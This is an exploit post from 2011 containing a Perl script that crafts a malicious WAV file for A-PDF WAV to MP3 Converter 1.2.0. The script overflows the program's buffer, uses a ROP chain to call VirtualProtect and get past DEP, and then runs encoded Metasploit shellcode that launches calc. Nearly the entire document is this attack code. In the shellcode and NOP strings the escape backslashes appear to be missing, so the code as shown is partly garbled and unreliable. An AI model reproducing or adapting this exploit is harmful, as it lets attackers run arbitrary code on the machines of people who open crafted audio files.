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A-PDF WAV To MP3 Converter 1.2.0 DEP Bypass

Posted on 13 May 2011

# Exploit Title: A-PDF Wav to MP3 Converter v 1.2.0 DEP Bypass
# Software Link: http://www.a-pdf.com/wav-to-mp3/a-pdf-wtm.exe
# Version: 1.2.0
# Tested on: Win XP SP3 French
# Date: 12/05/2011
# Author: h1ch4m (Hicham Oumounid)
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com
# Big thanks to corelanc0d3r for the Help & the Precious advices

my $file= "Exploit.wav";
#######################      STACK PIVOT      ###########################
my $EIP = pack('V', 0x100040CF);        # RETN - wavtomp3.exe -  ** Null byte **

# not enough space for the ROP and Shellcode, so: sub esp,1030 & we land in the beginning of our payload(ROP)
my $SP = pack('V', 0x004A394A);         # POP ECX # RETN    [Module : wavtomp3.exe]  ** Null byte ** - [ Ascii printable - null byte]
$SP .= pack('V', 0x00001030);           # 1030h
$SP .= pack('V', 0x00478D2C);           # PUSH ESP # MOV EAX,EDI # POP EDX # POP EBP # POP EDI # POP ESI # POP EBX # RETN   [Module : wavtomp3.exe]  ** Null byte **
$SP .= "A" x 16;
$SP .= pack('V', 0x00401D3C);           # MOV EAX,EDX # RETN    [Module : wavtomp3.exe]  ** Null byte **
$SP .= pack('V', 0x004130DE);           # SUB EAX,ECX # RETN    [Module : wavtomp3.exe]  ** Null byte **
$SP .= pack('V', 0x0041097B);           # XCHG EAX,ESP # RETN   [Module : wavtomp3.exe]  ** Null byte **

#######################     STACK POINTER     ###########################
my $ROP = pack('V', 0x00478D2C);        # PUSH ESP # MOV EAX,EDI # POP EDX # POP EBP # POP EDI # POP ESI # POP EBX # RETN   [Module : wavtomp3.exe]  ** Null byte **
$ROP .= "A" x 16;
$ROP .= pack('V', 0x00401D3C);          # MOV EAX,EDX # RETN    [Module : wavtomp3.exe]  ** Null byte **
$ROP .= pack('V', 0x10004642);          # ADD ESP,18 # RETN     [Module : lame_enc.dll]  ** Null byte **

############ VirtualProtect() Parameters  ############
$ROP .= pack('V', 0x7c801ad4);          # VirtualProtect()  0x7c801ad4 Kernel32.dll
$ROP .= "AAAA";                         # Parameter 1
$ROP .= "BBBB";                         # Parameter 2
$ROP .= "CCCC";                         # Parameter 3
$ROP .= "DDDD";                         # Parameter 4
$ROP .= pack("V", 0x10054000);          # Writeable address

######################   PARAMETER 1  ###########################
$ROP .= pack('V', 0x0040808F);          # ADD EAX,10 # RETN     [Module : wavtomp3.exe]  ** Null byte **
$ROP .= pack('V', 0x1002B936);          # ADD EAX,0C # RETN     [Module : lame_enc.dll]  **
$ROP .= pack('V', 0x0040F944);          # MOV ECX,EAX # MOV EAX,ECX # RETN  [Module : wavtomp3.exe]  ** Null byte **
$ROP .= pack('V', 0x00401D3C);          # MOV EAX,EDX # RETN    [Module : wavtomp3.exe]  ** Null byte **
$ROP .= pack('V', 0x1003C6A4);          # ADD EAX,100 # POP EBP # RETN  [Module : lame_enc.dll]  **
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1002B23D);          # ADD EAX,20 # RETN     [Module : lame_enc.dll]  **
$ROP .= pack('V', 0x1002B910);          # ADD EAX,8 # RETN  [Module : lame_enc.dll]  **
$ROP .= pack('V', 0x00402ABC);          # MOV DWORD PTR DS:[ECX],EAX # RETN     [Module : wavtomp3.exe]  ** Null byte **

######################   PARAMETER 2  ###########################
$ROP .= pack('V', 0x10002388);          # MOV DWORD PTR DS:[ECX+4],EAX # XOR EAX,EAX # RETN     [Module : lame_enc.dll]  ** Null byte **

######################   PARAMETER 3  ###########################
$ROP .= pack('V', 0x1003C6A4);          # ADD EAX,100 # POP EBP # RETN  [Module : lame_enc.dll]  **
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1003C6A4);          # ADD EAX,100 # POP EBP # RETN  [Module : lame_enc.dll]  **
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1003C6A4);          # ADD EAX,100 # POP EBP # RETN  [Module : lame_enc.dll]  **
$ROP .= "A" x 4;
$ROP .= pack('V', 0x100023D1);          # MOV DWORD PTR DS:[ECX+8],EAX # XOR EAX,EAX # RETN     [Module : lame_enc.dll]  ** Null byte **

######################   PARAMETER 4  ###########################
$ROP .= pack('V', 0x1002B23D) x 2;      # ADD EAX,20 # RETN     [Module : lame_enc.dll]  **
$ROP .= pack('V', 0x100023A8);          # MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # RETN     [Module : lame_enc.dll]  ** Null byte **

################### Jump To VirtualProtect() #####################
$ROP .= pack('V', 0x004027D9);          # MOV EAX,ECX # RETN    [Module : wavtomp3.exe]  ** Null byte **
$ROP .= pack('V', 0x0040BFC1);          # SUB EAX,4 # RETN  [Module : wavtomp3.exe]  ** Null byte **
$ROP .= pack('V', 0x0041097B);          # XCHG EAX,ESP # RETN   [Module : wavtomp3.exe]  ** Null byte **

#######################    NOPS     ###########################
my $NOPS = "x90" x (300 - length($ROP));

#######################  SHELLCODE  ###########################
# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "xdaxddxbfxb0x1ax64x4fxd9x74x24xf4x58x31xc9" .
"xb1x32x31x78x17x83xc0x04x03xc8x09x86xbaxd4" .
"xc6xcfx45x24x17xb0xccxc1x26xe2xabx82x1bx32" .
"xbfxc6x97xb9xedxf2x2cxcfx39xf5x85x7ax1cx38" .
"x15x4bxa0x96xd5xcdx5cxe4x09x2ex5cx27x5cx2f" .
"x99x55xafx7dx72x12x02x92xf7x66x9fx93xd7xed" .
"x9fxebx52x31x6bx46x5cx61xc4xddx16x99x6exb9" .
"x86x98xa3xd9xfbxd3xc8x2ax8fxe2x18x63x70xd5" .
"x64x28x4fxdax68x30x97xdcx92x47xe3x1fx2ex50" .
"x30x62xf4xd5xa5xc4x7fx4dx0exf5xacx08xc5xf9" .
"x19x5ex81x1dx9fxb3xb9x19x14x32x6exa8x6ex11" .
"xaaxf1x35x38xebx5fx9bx45xebx07x44xe0x67xa5" .
"x91x92x25xa3x64x16x50x8ax67x28x5bxbcx0fx19" .
"xd0x53x57xa6x33x10xa9x57x8ex8cx3excex7bxed" .
"x22xf1x51x31x5bx72x50xc9x98x6ax11xccxe5x2c" .
"xc9xbcx76xd9xedx13x76xc8x8dxf2xe4x90x51";

my $junk = "x41" x (4128 - length($ROP.$NOPS.$shellcode));

open($FILE,">$file");
print $FILE $ROP.$NOPS.$shellcode.$junk.$EIP.$SP;
close($FILE);
print "File Created successfully
";
sleep(1);

 

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